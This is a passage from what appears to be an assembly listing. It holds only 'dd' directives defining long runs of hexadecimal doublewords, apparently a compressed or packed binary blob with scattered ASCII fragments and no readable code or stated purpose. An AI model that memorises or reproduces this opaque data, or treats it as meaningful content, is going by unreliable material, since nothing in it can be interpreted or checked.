0D80012B2h, 5893598Eh, 0CF22F66Fh, 7FC0012Ah dd 0E9D6980Ah, 0DBD24503h, 0F0F35214h, 78EB19h, 30071A91h dd 1DCC2C58h, 1A86A58h, 0D4612D44h, 10F0BB28h, 433E4C0h dd 0FEF39450h, 89A0C052h, 54008BD5h, 2C8E0A2Eh, 0CB5C03h dd 4A0D8F02h, 638AB406h, 241D2D0Fh, 351940E8h, 771A493Dh dd 37FD0171h, 5DF01650h, 431ED4EBh, 0E8730400h, 0F243846h dd 0F2940077h, 54A97D11h, 9D0049F1h, 0D1285C61h, 984AE98Ah dd 70B31F84h, 0DA48C08Eh, 0C6087544h, 7761C400h, 0E57F9C8h dd 708E075Bh, 306A2D4Bh, 463A7620h, 0CD25F50Fh, 554F409Ch dd 7740561Ah, 287A7E59h, 5DFD6D0h, 1C2F89DBh, 41918024h dd 14039BCCh, 0CE920BFAh, 5749A8D0h, 0D45D003Eh, 0D8CCB056h dd 4B002B31h, 22CF2529h, 9B3D09h, 0AA1DD5AEh, 5098BEE1h dd 0EF335600h, 48CD832Ah, 0BD5B0971h, 5F80325Fh, 84F85A85h dd 0FDB21C00h, 0A81E532Bh, 0BF3100AFh, 0D21D1499h, 0F802BB85h dd 19385755h, 606FC2C7h, 0BD0FDCh, 10C2731Bh, 23DE0892h dd 0F77993F2h, 765E938h, 0FA832875h, 0E0EE72E7h, 26BD9981h dd 10372EB4h, 190E3DF6h, 73E02A56h, 27C7661Ch, 0E9289102h dd 0E0485E25h, 8BA18Ah, 0E4D414A3h, 88909DA4h, 64836602h dd 0C02A8038h, 1818764h, 5F3E868Dh, 4084F742h, 0EB2720CEh dd 51FF100Ch, 419FC15h, 0C3A78AAEh, 6071805Ah, 7304123Ah dd 0DB77B111h, 0E78611C5h, 0C41007Ah, 7099C3CDh, 14057F3Ah dd 757E0FB1h, 301D7980h, 8F580002h, 72BD0486h, 1300C6A8h dd 0E5DA0908h, 0FE4C8A52h, 1E507A0Ah, 0BF6493C3h, 981AB80h dd 1C850FC0h, 96883900h, 0F02FE0A2h, 0FC021DE4h, 2D51407Dh dd 0A9104B9h, 31345901h, 458D12D8h, 0E7B0BF8h, 558F6833h dd 40DC2D60h, 0D476D84Eh, 0E43E4A98h, 9C9294F2h, 2C3503F1h dd 88E3CCA8h, 1385150h, 0CBD48A23h, 7056B2CFh, 6B00B387h dd 0B5657C25h, 797B1D83h, 62CD005Ah, 0F926845Bh, 7014923h dd 2D350371h, 27DCE24Fh, 53C800FFh, 2C30EB4Ch, 0CF02D1D6h dd 0FE8AE7E8h, 0CA82E095h, 0C0756Dh, 0C336835h, 0ACDD5634h dd 1209200h, 5482ABAh, 2F2200FDh, 9B511998h, 32008C07h dd 0F80A0389h, 0E6443EAh, 2FC0C08h, 9A34EB60h, 7D008F4Ah dd 0D15727AAh, 3515C18h, 2B4EAD53h, 28BBA5BEh, 44959C88h dd 8A971202h, 0C03BFD01h, 72EE3D6h, 0D266E56Ch, 57A5C7A3h dd 9794F008h, 0D800E0C3h, 7E85109h, 7C5BA2Fh, 6962279Ah dd 763AC05Fh, 6D01EE74h, 8BDE9C53h, 0D9C187EFh, 3D8E230h dd 82DF0D75h, 0A0A4E84Ch, 3203E259h, 0A4133D59h, 305A875h dd 210801FBh, 0A31D319h, 0F7D5C048h, 22135500h, 4271109Dh dd 949600B4h, 93CBE658h, 0E77BC295h, 2F9B3000h, 0BF4B2D87h dd 5EC00034h, 0D383D4CCh, 2177F869h, 0A3110A00h, 63579D5Ch dd 0B9510079h, 914C4DB0h, 0F600D6CEh, 6A65AF5Bh, 1E46728Ch dd 43B99944h, 0A58B7D89h, 0EF9C13C0h, 0EC830600h, 0FB8D810h dd 78207B96h, 90100B9h, 6531F3E8h, 2B0F27B6h, 6FAA56B0h dd 2499E0C4h, 595350h, 448CDD58h, 70FF1B1Ah, 0C4060C00h dd 33B8040Dh, 891200D9h, 5B3936E2h, 551F2CA2h, 807AE011h dd 0AD05D354h, 91F849h, 6CC88925h, 0A34A2471h, 0A540400h dd 3870B506h, 47640027h, 3B74A607h, 8D000583h, 85E1D11Bh dd 188A910h, 6AE48661h, 0C0953F1Ch, 0C8002C97h, 6B7C818Fh dd 0A5FA10h, 0E8067525h, 6602EBEDh, 1C453303h, 0F115FC51h dd 0CDF86010h, 77190074h, 7204583Bh, 8010A67h, 0C0705A4h dd 0F5E0C975h, 0B0360084h, 0EEE7F432h, 0F0095EBh, 8A129166h dd 19A810h, 0EF755CC2h, 6FB8F844h, 64B05B00h, 0C94BC4B3h dd 0A3300034h, 9D747A68h, 130F6A82h, 871B7501h, 84D0C3EFh dd 7A88214Ch, 53CF022h, 9D7D83F4h, 5598C0C2h, 85001018h dd 5077CDB1h, 0F6B9D36Dh, 0A43400F4h, 8C12A515h, 450043E8h dd 356536E9h, 371C8Dh, 3ADC3880h, 1780F08h, 0E0EEEDFDh dd 700015D5h, 0E814025Bh, 6633D7h, 823B8013h, 8D26EA0Fh dd 0A76A3Dh, 0B747C53Dh, 565DD6h, 0F96C34Ch, 2752BF3h dd 1468D0Fh, 6268C0AAh, 844BE8h, 39554C64h, 0C749F8CEh dd 936F400h, 1F8203D0h, 90FA0081h, 618F0FA4h, 40488B92h dd 3348002Eh, 35C65203h, 0B61C0765h, 0C75CC3E1h, 744450E3h dd 0C274DEC7h, 0E9856703h, 0A88921DBh, 72047E2h, 3A2CD4CFh dd 0C203E056h, 4EE03D40h, 0C6487F00h, 33A13584h, 43A9035Ch dd 40AC4C41h, 37A7F090h, 3030976h, 20DF7285h, 0FF5FA8C7h dd 2A0200D2h, 590B5D1Ah, 6B0EC1CCh, 0C06E7265h, 321D336Ch dd 7B643C2Eh, 920FF594h, 6F673C70h, 61500073h, 4E7468EEh dd 51006D7Dh, 0A8231441h, 0FFEE010h, 71A75292h, 40FFE3CEh dd 0C68F60ABh, 0E100EE45h, 68D9467Bh, 24BDE03Fh, 87DC91h dd 10F801C5h, 1E3974B1h, 7023004Eh, 0C47275E2h, 64210052h dd 71014B46h, 361D0EE8h, 6000C7B1h, 92B2A5C3h, 6F903FD4h dd 6400EB3Bh, 967AC5ABh, 58007352h, 784B1A37h, 906850h dd 0FC3DB3DAh, 466BF053h, 0BF16A60Fh, 0C793001Eh, 0E892AB34h dd 6A230B43h, 0EC803305h, 2BEB038Ch, 261B6F0Ch, 0F61811h dd 2113BD80h, 0BEAF0A48h, 0F37D9307h, 678EF90Ch, 9FE0CEEEh dd 22D12h, 0BD486D23h, 3250E52h, 26783Ch, 2E2C754Bh, 0E8102904h dd 0F09500C9h, 6D74820Ah, 3D008E43h, 0AF5115F6h, 755329h dd 47AB021Ch, 0D6B63392h, 4613147Ah, 0C9004C69h, 89265B8Fh dd 73041E20h, 0A92443F5h, 0E0DBC6C9h, 666F5380h, 61777400h dd 0CA655F72h, 0DE48001Ch, 0FEF9633Fh, 0D83D9173h, 0FBEB802Bh dd 6E232938h, 10BC1F13h, 0A1FA80A4h, 0F8357F14h, 38858700h dd 0B5213912h, 0A4707CFh, 0E0242758h, 1322A654h, 0B1E2040Fh dd 9BC2A088h, 6F6621h, 753958E7h, 0E5B6C74Eh, 0A6385C00h dd 0BFA37756h, 3490009Bh, 0FDCF51D9h, 64031019h, 0B5ADA648h dd 8FE8C0E0h, 0D3371F49h, 0FC863FA2h, 5205503Bh, 230C5100h dd 0EB45A1C2h, 0E73E81Fh, 0BC34E8Bh, 553BC880h, 0E413B4FCh dd 2E030A37h dd 0E0068E4Fh, 48EAFA2Dh, 0C20FAD6Eh, 9A2C0A6h, 0CB41FCEEh dd 0F13DCCE3h, 80047B38h, 2A7D3E81h, 0AB15A68h, 998438Bh dd 0B3E803EAh, 50727B99h, 6F0CBC00h, 0F3F4120Ah, 0E87F47Ch dd 0CDE31328h, 0C0A7C845h, 89582A2h, 3C00F178h, 0AC042512h dd 48E09378h, 1000B62Ah, 8D520C06h, 4A000EBAh, 214BC22h dd 2993E8h, 0E6A2D272h, 11C98E7Dh, 6DF81F00h, 1DF1F35Eh dd 0B18B0051h, 1A7EA256h, 3C00C9EDh, 0AEB77DF2h, 52AAE9h dd 62BB4433h, 21590504h, 0F7EB3400h, 9612CADh, 76747FB0h dd 745B48E8h, 49017500h, 0DC76DA19h, 894C3001h, 6CB0C46h dd 17FF20h, 45C3B12Dh, 9B480B74h, 2EFC207Dh, 3AC0E900h dd 4BB8621Ah, 0F2BA0380h, 40B95F31h, 1C46C7D0h, 65D6E800h dd 827A079h, 50C4FA18h, 0B80FE502h, 29C00313h, 62491778h dd 4424A0F7h, 14002018h, 597E8088h, 222648h, 0FB96B2AEh dd 10510F99h, 7060520Ch, 852046h, 0FF32DA53h, 8920EB3Ch dd 7E810600h, 8BB3042Ah, 63A600B8h, 4EFF1FA3h, 0EA0050EEh dd 7BE82836h, 44C874h, 812D8CC9h, 6A96730Bh, 46E12C07h dd 0AB303950h, 5CAD2Ah, 0B1D58990h, 968D1361h, 7C2EB900h dd 4736FF24h, 0A85A0165h, 0D68B2280h, 5CFD86Eh, 0BC074C79h dd 1A1D0906h, 85405B80h, 2A8801F9h, 4AC2572Bh, 15472019h dd 8023A33Dh, 22EB5D0Ah, 1491C6h, 8AB29554h, 0F66A5840h dd 5E0F617Eh, 2083E8F5h, 3B5374B4h, 0B1223FB0h, 6FC91781h dd 607E316Bh, 20736C0h, 0FA480775h, 5EE4B1E0h, 0A47CC3h dd 23246D7Ch, 69B81188h, 0E9EB0402h, 809881A2h, 0DBF08BB3h dd 0A488008Dh, 49CF9092h, 2403D414h, 0EEDB108h, 4BCAE0EAh dd 143148E4h, 5C181A00h, 1C149FB3h, 4CE41190h, 7A3E2400h dd 1B13549Ah, 0B08200B5h, 87D882Ah, 0F80E1C90h, 200AAE11h dd 75CDFE07h, 0C30B02A4h, 8A94DE28h, 4FBABFC0h, 0E6F34Ch dd 0EF461CD3h, 20C30Eh, 0F718AFA6h, 0E9B767B8h, 0A97231Dh dd 0E479254Fh, 7580961Ah, 3C2AA1D8h, 0E8950EAh, 0B400FA83h dd 85541977h, 6032198h, 132453E1h, 41C5E94Eh, 98042CD4h dd 0FC480E0Fh, 0F0C015EFh, 5CC04B3Fh, 784A81E4h, 1A750A00h dd 73BB9A4h, 0A573E3C3h, 8A3D50F8h, 80011109h, 48302F9h dd 0E1F46B42h, 1D70FFC1h, 0B822000Dh, 0B046A868h, 9C0FC41Ah dd 600A3D32h, 81412919h, 0EBBF0074h, 764850DEh, 58005216h dd 0B472114Ch, 0EC04C601h, 40FF001Ah, 816656F3h, 13005830h dd 0F8425290h, 263C494Eh, 0ED51FFAh, 6F60D23Dh, 0DBF2724Ch dd 62B45E00h, 0B0FAE8F1h, 95AC00DDh, 3AC2484Fh, 6500F426h dd 104B8339h, 203CA2Bh, 7CF080C4h, 0A1808A1Fh, 3A9B3C42h dd 0D701172h, 60AA062Eh, 1EBEE00h, 122B4A33h, 3B8930h dd 64CEA7D2h, 5B1EDBB6h, 0AC0BAD4h, 0CDEB5837h, 43C30EACh dd 0CFE0850Ch, 6930C235h, 8797743Fh, 0FC5AE45Bh, 0E13D9B12h dd 0E5701877h, 120F1DF1h, 27B9C00Ah, 4B35FF05h, 0BCC60C00h dd 58F08904h, 24ED0198h, 4084B073h, 0E2E8700Ah, 76805A00h dd 45E89C6h, 56FF1D17h, 4587C718h, 0B8942069h, 76007166h dd 6F47BAF1h, 75BE77h, 0B7070FB2h, 0B045B3C8h, 21C5F507h dd 1E903347h, 90FC2E75h, 2803007Eh, 4987B8BBh, 600452Bh dd 1167FD1h, 7DC5A30Eh, 421900F4h, 5F4CA4F3h, 59503302h dd 100DA85h, 915D7A62h, 0B6E3D06h, 0AB75A04Eh, 39F6C780h dd 5800D050h, 49A6595Ah, 3B77426h, 95772BCDh, 0B87807D6h dd 0BA258E0Eh, 83750060h, 0EA7E40F9h, 0E9071F21h, 0B951C004h dd 4A27269Ah, 1E773F00h, 0D7532C7h, 7ED5015Bh, 608F0464h dd 1AC3E4FFh, 3FDC7100h, 2812F825h, 0EC0E3DA1h, 0CB802BBBh dd 2F820B7Eh, 44E874D1h, 0F1875A0Bh, 1D2D00F5h, 0AEA0BAh dd 542B7EBDh, 3B90E91Fh, 89DB520Fh, 3FDD201Eh, 580809F3h dd 8213B67Dh, 63490017h, 56C3EB15h, 10D38400h, 0E22B5A27h dd 121403CBh, 0C928B5CAh, 0E9428688h, 69C75300h, 8D368158h dd 55FF0E51h, 0B967C17Ah, 5A6CC001h, 0E202A4AAh, 0F04C49A9h dd 7B0DE020h, 40950483h, 0C1AEF2F4h, 0D349D125h, 21ED6C00h dd 2C663B97h, 0D7F60012h, 0ABA63790h, 0E000209Fh, 4574487Ch dd 71416CBh, 7F8DD5A2h, 0F29C02Bh, 5F001FE2h, 2CDB92C0h dd 4F6855h, 0DE011990h, 0ECE8C1C9h, 4224B201h, 3D620F16h dd 9E18FCh, 3318C50h, 800422B3h, 340045E0h, 0C3158451h dd 0EA48D8F7h, 4442007Dh, 3001F9E2h, 0B0EE0B3h, 0CB473198h dd 0C7670752h, 2DA3C3E0h, 6577005Eh, 70EED93Dh, 150001A4h dd 0A7FFF80h, 0EE13FC8h, 1C4002A0h, 840542E0h, 770008FAh dd 380C9C72h, 7A47C350h, 0F424000Fh, 9680C012h, 8C7A1698h dd 0BEBC200Fh, 6B286119h, 16A61CEEh, 80951F7Ah, 43B7E16Fh dd 0C0023BAh, 0D4A50410h, 0FE800DE8h, 84E7002Ah, 14A39174h dd 0E6F4F4F0h, 2DB52800h, 31A0020Ah, 0E35F18A9h, 8BF3C30h dd 8E1BC900h, 2EC54034h, 7CA258BCh, 76FA3700h, 0B6B3A0Eh dd 3E91DE38h, 234400E8h, 883E8AC7h, 4AC0162h, 0AD78EBC5h dd 7A80C041h, 26B71701h, 44D8D710h, 1AC90C0h, 8678326Eh dd 30484087h, 0A0357B5h, 0A968163Fh, 0EDA1804Bh, 0CE0703CCh dd 4ED3C21Bh, 1484A0C8h, 5161F800h, 527A5976h, 0A5C80407h dd 0C0B99019h, 0A0556724h, 200F3A0Fh, 8F27E0F4h, 0C358CECBh dd 0F894093Eh, 3F3978D8h, 875C813Dh, 36B90BE5h, 8FD1D7B7h dd 0DFEC5FA1h, 467004Eh, 0F2C9CD1Ch, 8300629Eh, 45812296h dd 1C6F7CF8h, 3F657AFCh, 2B70B500h, 9DC5ADA8h, 1697F00h dd 0FFCFA6D5h, 781F0E49h, 0C314B6BDh, 16C59B03h, 0EF80B3ABh dd 0E001413Dh, 0A48E98Ch, 93E4BAE4h, 24AAE0A8h, 0E78E617h dd 0B60516A1h, 55718012h, 8D093927h, 70F70Fh, 0C9304093h dd 0FFE33D3Ch, 8A529681h, 838E49E7h, 0EBFB9D9Ch, 5152007Eh dd 6A2F8C43h, 0F00195Ch, 0BBD226FCh, 1EE37640h, 8029F2CCh dd 7D817C84h, 0A141C44h, 0A4DB90h, 406F9FA4h, 1F8AA17h dd 0E30F10AEh, 0ECFAC4C5h, 0B01C9C59h, 0DD002AE9h, 4564F28Ah dd 0F7F300D4h, 4AE1EB03h, 0CF0F957Ah, 0A7A262D1h, 0D800DC07h dd 39B83Eh, 0E91C746h, 0A0AEA603h, 0A3E31900h, 750C17D0h dd 86812C39h, 48C9002Ah, 93A7E44Dh, 353BF0E1h, 0EDB2B800h dd 5D1CE553h, 0FDC5003Dh, 929E8B80h, 0F000A65Ah, 0C02001A1h dd 0F8CA554h, 0E5FB6137h, 5D259D01h, 0DBF9C089h, 0F3F86700h dd 7BA2BF27h, 80CAC0C8h, 20979B6Eh, 28A38h, 25C46052h dd 59F075h, 562FCD5h, 0CAAE3511h, 3F857B00h, 0F7144EFAh dd 0B33B007Dh, 0CB0413C8h, 0C1FE964h, 7F80BC03h, 59D109A8h dd 70C207E2h, 7023A508h, 5E8C2855h, 5C00B07Fh, 4C914197h dd 0B18D0h, 875C91Dh, 0DE74D20Fh, 58F8DBF0h, 0A791001h dd 0EEDAF726h, 73883ECh, 1CF3673h, 0D97E8334h, 20E9DB91h dd 8B75C16Fh, 3582CE00h, 0E75B906h, 0E0D100F6h, 0D68ED24Eh dd 3B0ED7C0h, 870B72FDh, 0F3700477h, 382B051Dh, 40001B1Fh dd 0F75BE7E2h, 0B301B1C3h, 4607740Ah, 0F7205669h, 0F3E003E5h dd 0E8EBD233h, 0F08B5BD0h, 0C023980Eh, 0FE832008h, 5875FFh dd 0B0FCA11h, 5B3981F2h, 5F18000h, 481C2478h, 0FFDA00C3h dd 0E8048237h, 0ED30F8D9h, 0ABAA462Bh, 2FE42EA8h, 0F882681h dd 8B40835Ah, 0A77B9EDAh dd 5D64F300h, 47565948h, 0C8EE07h, 0F07E25BEh, 0F495725Ch dd 0CA92AC07h, 7520F2F5h, 42CC88h, 2F3344DCh, 85844F80h dd 251520Fh, 40400FABh, 9C7C20F9h, 302C00F1h, 0D81C051Ah dd 0AB07B8C3h, 0FE2D331h, 2A60A510h, 5CFB0EE0h, 0C121061Ch dd 708B1FFAh, 9900E6FCh, 38F8D333h, 3B487FADh, 303F5EF9h dd 0E8000EBEh, 395364DAh, 2500AFEAh, 7E75F448h, 9D5442h dd 5E24054Bh, 0C93793C1h, 2C383500h, 535CAC92h, 317F000Ah dd 0C1F096Fh, 0F9031474h, 0FC2B7A81h, 0EC10F873h, 50F230A5h dd 0D81754DCh, 57F81A00h, 703C685Dh, 83FA42h, 0F01212Dh dd 0CC2ABCE1h, 8A309201h, 2299B355h, 3D3CF0h, 0DE605C6h dd 43460E02h, 1F0044F8h, 0E8C76603h, 0AF9D6Ch, 287F34A7h dd 92A40901h, 897058h, 4991410h, 0ECA78056h, 98EB00E8h dd 2940693Fh, 541F4BFAh, 2A050A90h, 5D80877Eh, 1A5A6Bh dd 697947F3h, 5F76139Bh, 22302D00h, 9DAB7CBAh, 3AE500F9h dd 0F4AF25Dh, 0D07B25Ah, 472CA31Bh, 9001BBE0h, 84280015h dd 204838DBh, 0C201F229h, 94345577h, 0D660CBF3h, 0B8090092h dd 0FC114710h, 0F8008891h, 0F072F4E4h, 90CEC39h, 8B82F53h dd 8343CC00h, 0CC033D2Ah, 197DE0D7h, 25E2F00Ah, 0D22E00E8h dd 1C8368A8h, 0E175406Ah, 987B4503h, 0D8A50C02h, 0AEB1Fh dd 2D31A153h, 3D0D8B43h, 0E01D8900h, 78156B19h, 83784Fh dd 2F2893E8h, 1CD422A3h, 56E75403h, 0E0A531B3h, 5771E14h dd 32157CC5h, 0D04CC74Eh, 8B730A3Bh, 282B2903h, 0A8CD191Fh dd 581246h, 548E0B2Dh, 318A4C9Bh, 1DC80D00h, 1442058Bh dd 0FF600084h, 15F66428h, 6D182C6Bh, 0AD04C382h, 4F34176Eh dd 80B71E5Bh, 7A17E022h, 0D903E612h, 0E3535A88h, 0AEE2A0B6h dd 0D4A100C5h, 8A7B3448h, 0CD00C48Bh, 0D88E6927h, 0B4E641h dd 8900460h, 0CAA8A10Ah, 0EA31300h, 0BA4B80Ch, 0EB2503E8h dd 8466937h, 94047BC8h, 4B13BA00h, 75F998B1h, 25EE6Eh dd 9E9D5014h, 764D8BC9h, 5328A200h, 20D53AEDh, 0C10CE627h dd 0EC908458h, 0C55B204Fh, 0D835FF00h, 0BCB93D14h, 331C014Eh dd 54CC2524h, 790BCC99h, 3401577Bh, 932DC45h, 69E480C4h dd 0EB601EA6h, 0A49ECF10h, 722413C0h, 99282004h, 2309EE08h dd 149118h, 7C0CE47Ah, 478E1EA8h, 40A05EA4h, 3998729Ch dd 90691C94h, 0F07FFE1Ah, 6C009170h, 64E468C8h, 98396072h dd 22586132h, 60502354h, 4800C819h, 407244E4h, 601C3C39h dd 23342238h, 2C009130h, 0B4E4B8C8h, 3BB072h, 0FC319382h dd 0A6F8104Ch, 0F4470800h, 0EC91F023h, 9FE800CFh, 10E494A1h dd 802E0CAh, 0D872DC64h, 0D0464139h, 23CC5E80h, 0DEC491C8h dd 0F8CE100h, 3D207B7h, 10E200C1h, 0B0C3C20Bh, 4F98A1E8h dd 0B62F9300h, 90AE01CCh, 7FE10181h, 187BD521h, 4914DC05h dd 57780800h, 64487710h, 5387000Ch, 517F90FDh, 1AB80F8Fh dd 697C9717h, 4C459501h, 4770F909h, 0B1465080h, 0A2423A3Ch dd 0E7641A83h, 898F06Ah, 0C83EF111h, 72F300F2h, 1CF539F4h dd 0F7C8C0F6h, 0F991F823h, 0E4FAC800h, 39FC72FBh, 0FE1C0EFDh dd 0E08CFF8Eh, 2303E12Ah, 0C8E391E2h, 72E588E4h, 0E73900E6h dd 0CF21E81Ch, 0E901884Bh, 32EAC5D7h, 0E20EB18h, 0ED1C30ECh dd 0EF23EE42h, 0C8D09100h, 72D2E4D1h, 0E83B75D3h, 0D6390CD5h dd 0D82AD71Ch, 91D92301h, 0E4DBC8DAh, 39DDC040h, 0DF1C20DEh dd 0C123C000h, 0C3C8C291h, 72C401E4h, 1CC639C5h, 722BEC7h dd 0CA91C923h, 0CCE4CB50h, 39CD0472h, 0CF1CCEh, 91B123B0h dd 0B3C824B2h, 39B58111h, 80B71CB6h, 0B923B822h, 0C8BA91h dd 72BCE4BBh, 1CBE39BDh, 12A0BF40h, 9BA122h, 705CC165h dd 431E23E8h, 1EBC848Fh, 425E082Ah, 65209F03h, 0E75BD8FEh dd 0AC901DCFh, 0C29C032h, 4B103CBAh, 0AA1FFC7Fh, 51400E2Ah dd 0F62F0501h, 2AB0FEh, 65637845h, 0A6D13A70h, 805D883Ah dd 8B530A7h, 1C8A1020h, 0C0685CD4h, 817E2423h, 651F4845h dd 5B037061h, 0ABE45790h, 95809CB2h, 0C015E2h, 754F450Ch dd 66017473h, 6D654D00h, 3A79726Fh, 9520001Ch, 0A9E95C5Eh dd 91EAB840h, 450BD4F5h, 0DD6E4909h, 3FEE0EBDh, 588E989Dh dd 48EF8390h, 2F0C9066h, 28400F74h, 0D8A06C61h, 0B258F057h dd 4C6030B0h, 2D12C484h, 846C0523h, 817E5F50h, 0F0756020h dd 10165209h, 35010E65h, 47F658A8h, 79043CD0h, 0F01F642h dd 76694445h, 415A7900h, 90016FBBh, 585E60C1h, 0EED4109Ch dd 2C00048h, 676E6152h, 9DFD1965h, 7700C820h, 8210C92h dd 4076014Fh, 6F6C66AFh, 2B74F44Dh, 0D95CB41Ch, 64221DC0h dd 0FC0C20E9h, 1E0A7EBFh, 0B9063B3h, 0F38F7AD5h, 688461A0h dd 940B2E60h, 7626B4h, 4F64691Eh, 0D2902A70h, 0BE07F193h dd 5B92B740h, 0C237B4C0h, 0E74F1FBCh, 61F16C4Ch, 14D4C1A4h dd 9A1F0062h, 0D0084740h, 520A6E55h, 0EE3A5964h, 6C76AB28h dd 0D188E500h, 8760220Fh, 4F6F0450h, 81854A36h, 0D044F649h dd 301DB90Ch, 97D567Eh, 8C433Ah, 63E98D01h, 7542F4AFh dd 0C01D0024h, 6F43450Dh, 0B002BAD4h, 80A2D858h, 0A00543BDh dd 0EACC4Ch, 41451005h, 7388C363h, 0E0568A00h, 0B9616C89h dd 0BC2A1E8Eh, 40F64047h, 26F42CB1h, 325048h, 1656C8Bh dd 503890E4h, 0C084CA64h, 0E803B0Ah, 74005345h, 6B632661h dd 67905081h, 4064A294h, 1109C93Bh, 20747003h, 0A7EF6C6Bh dd 58AFEC30h, 52E864h, 5684C83Bh, 390D8761h, 8A04512h dd 0D4FC8D00h, 58EA5C40h, 0C51E2449h, 0BD59C02Dh, 23614609h dd 8D646F0Eh, 0B260C057h, 7FE41DA8h, 8462030Eh, 738572D9h dd 490BDE8h, 839C6655h, 41491F0Ah, 4365D2ACh, 8F60E074h dd 0B289E7E4h, 890C8112h, 0C4002A1Eh, 8D70E3DCh, 6903FFh dd 59242552h, 0FDAA7ECh, 0C1C20100h, 0F76610EAh, 5DF407F3h dd 0D0F9ED08h, 0B0130693h, 0BD04D809h, 0B2768010h, 4CEDA1FEh dd 37003E74h, 525A6CCFh, 5C00212Bh, 6A69B3A9h, 29EA84h dd 10236DAFh, 2CA66706h, 1B409D00h, 44B7C38Bh, 4DEE00EDh dd 0B3E58F5h, 5B016D47h, 0D70D3D28h, 4BF8FC67h, 3AEB00E1h dd 0B04A2ADAh, 0C91690A5h, 0B1005388h, 0EBA80996h, 0D2D900DDh dd 89DC520Fh, 390716C1h, 47AC76D1h, 0F3C9003Eh, 12A74A6h dd 95FF5E8Ah, 70627852h, 770F7A94h, 0C07D4855h, 0A120DC7Fh dd 0A0C2703Bh, 0FB38F5h, 300FD874h, 0D706C3B6h, 69D02900h dd 31DFAE5Bh, 2EEA003Ch, 64EFADD4h, 2A00ED58h, 43A0E66Eh dd 7CF33Bh, 6807307h, 7620FF1Fh, 0A16F40Eh, 0C58B407Dh dd 0EB6192h, 2A914E17h, 6CF83037h, 0CB2BCE00h, 0D3674175h dd 99330073h, 575AD0DEh, 6A002187h, 51A65F09h, 0E44E08C6h dd 0C16F03B8h, 67E4BAC2h, 604FEBE0h, 1AFB0501h, 6844BDD8h dd 2502C8h, 54F7644Ah, 1E036669h, 0E7890800h, 0F90FC685h dd 4D4F0010h, 6818BAE2h, 0F8FE31B2h, 0AD0049E2h, 0F062B034h dd 0F829016Ah, 0B2640054h, 10240CDBh, 860067E8h, 557550BAh dd 12F3B91h, 3822F5D5h, 402E1004h, 0C4F278E2h, 3A3F9400h dd 0F4DAE445h, 0EE6A2E96h, 0A9F0001Bh, 795990AAh, 19E5F100h dd 0ED4B405Eh, 0F4263868h, 0DFEA503h, 51F01F8Ch, 0D90197F0h dd 89153D65h, 0BCC8F5Ch, 842401D4h, 0EB66ECA1h, 0AFE8D490h dd 43CC5600h, 9F0C62C6h dd 5FFE4Ch, 0D4D68251h, 993537AAh, 5A880207h, 32079D6Eh dd 31566910h, 3EF83F84h, 40E7C39Dh, 747F588Ah, 5C7C1228h dd 9AEFF00h, 6B291B50h, 3F840002h, 4461765Bh, 884CEE0Eh dd 75400E9Fh, 3802403Ch, 8C4F06h, 7C7FFF85h, 0CCD99DC7h dd 0FAACCF00h, 0B815D39Fh, 697970h, 2658E711h, 560580F0h dd 4DB90102h, 0E1BA7FCDh, 0C73F692Fh, 0B38069D4h, 0E4CCE884h dd 0AA0014E8h, 9213D353h, 0A32CFACh, 24F40852h, 70FC00E5h dd 0A40F45E3h, 12FB307h, 33D06DF7h, 3D3A20D2h, 0AFAE19E8h dd 0B6F400AEh, 0FA0E3816h, 1ADD3E00h, 0A0E7DC0Dh, 0CE00130h dd 729F2DB0h, 0A639600Eh, 58441A00h, 104686C2h, 5BC30012h dd 0BDE6127h, 29005E90h, 9697C714h, 7BC2516h, 0FEB818E8h dd 98C8D013h, 0EC0099E3h, 34D6373Bh, 16AFCAA4h, 11B080h dd 0E9C13A95h, 0A6004D9Fh, 38BED1D2h, 0F08BFFAEh, 0FD6E0021h dd 0DEEECE22h, 7600EF5Eh, 36404A3Ch, 73FC5FCh, 27895657h dd 7FF7405Ch, 9D06E7D1h, 0F899CA9Bh, 2447FAB8h, 0D6B5Eh dd 0CBA3501Bh, 0B0004C4Eh, 54C105F6h, 78410175h, 2DAA0029h dd 5AD91996h, 783D1785h, 0DFB0067h, 0D83B622Eh, 9FDA00C0h dd 50127DC5h, 0D000A928h, 597A8E90h, 15A5F25h, 802AF4D3h dd 0D0C6AACAh, 67003164h, 21D20BFFh, 8A249Eh, 13F80246h dd 99E823ACh, 0B057E53Ch, 0EA2112FAh, 94613920h, 985D9E03h dd 0CA9883A8h, 10EE097Ch, 95543200h, 6444A7D9h, 573A0E47h dd 506012ACh, 86405C3Dh, 0D0885F03h, 98E16392h, 67503h dd 4648F82Eh, 766CCCA2h, 97299800h, 0BCBAB662h, 55DC00EAh dd 0ABD447CBh, 1872F88Ch, 6BF9C000h, 0F20ACC88h, 951200E8h dd 0C41A10E6h, 78F8779Fh, 0D90070FCh, 0FBF2F87Dh, 761F0Eh dd 0AB9BBB05h, 944A8C26h, 8E7B9000h, 4B9FBC01h, 9DC400DFh dd 0E8D602CBh, 0A6F259FBh, 3C1C1900h, 20A864FFh, 6AA028Bh dd 0F0CF22CBh, 61F056C3h, 6C0524B1h, 8F9A289Ch, 62B01E87h dd 0F732E76Fh, 0A8DAADCh, 60537BE2h, 558C0094h, 5D892082h dd 16297F00h, 3CE1FA2h, 7D510068h, 0B22890FCh, 612C8C5h dd 0CC0012F4h, 0CE390E16h, 0ACB01CA1h, 0CB254920h, 4476C100h dd 4C3FEB28h, 0E90D002Bh, 0BF845FF7h, 6430031h, 0FEBAEAE8h dd 0EC730C88h, 1CEB4500h, 575302Dh, 0ACDA1E31h, 5CF100E8h dd 3A7FD25Ah, 340A6E03h, 0F8C825D8h, 1DFEB31h, 22BBE414h dd 0C42E6440h, 0B40F2919h, 9C2649h, 0DC75C3E0h, 0A6525851h dd 5AFBCD04h, 0A08D80EEh, 6000273h, 7D80DB31h, 727C9AEBh dd 12CA000Ah, 42D10104h, 8758A4ACh, 570C1FFDh, 0E948F7Ah dd 0E99D009Ah, 3C610ABAh, 0C6004454h, 5A18A104h, 9E7F8B59h dd 15D8331Dh, 302AF880h, 0E80A2274h, 803C0072h, 37097739h dd 0C0F7DB6Bh, 6C003BE4h, 12AC0B6h, 3E5080C3h, 1A0B9403h dd 0D68AE958h, 46178Dh, 1277A7DEh, 1077D4FFh, 390C093Dh dd 26B3807Ch, 0AB74EA1Ch, 4F1F0086h, 24C2ACDCh, 0C12488DFh dd 6E029DFFh, 0E070523Ch, 75015Ah, 0DE348D0Ch, 4A0F06D8h dd 43F0B60Fh, 669D8024h, 0F4406Dh, 0AA08CC6Eh, 7F88C111h dd 0F1816F00h, 41276112h, 4A1800CAh, 2102C604h, 93C2564h dd 34D08E7Bh, 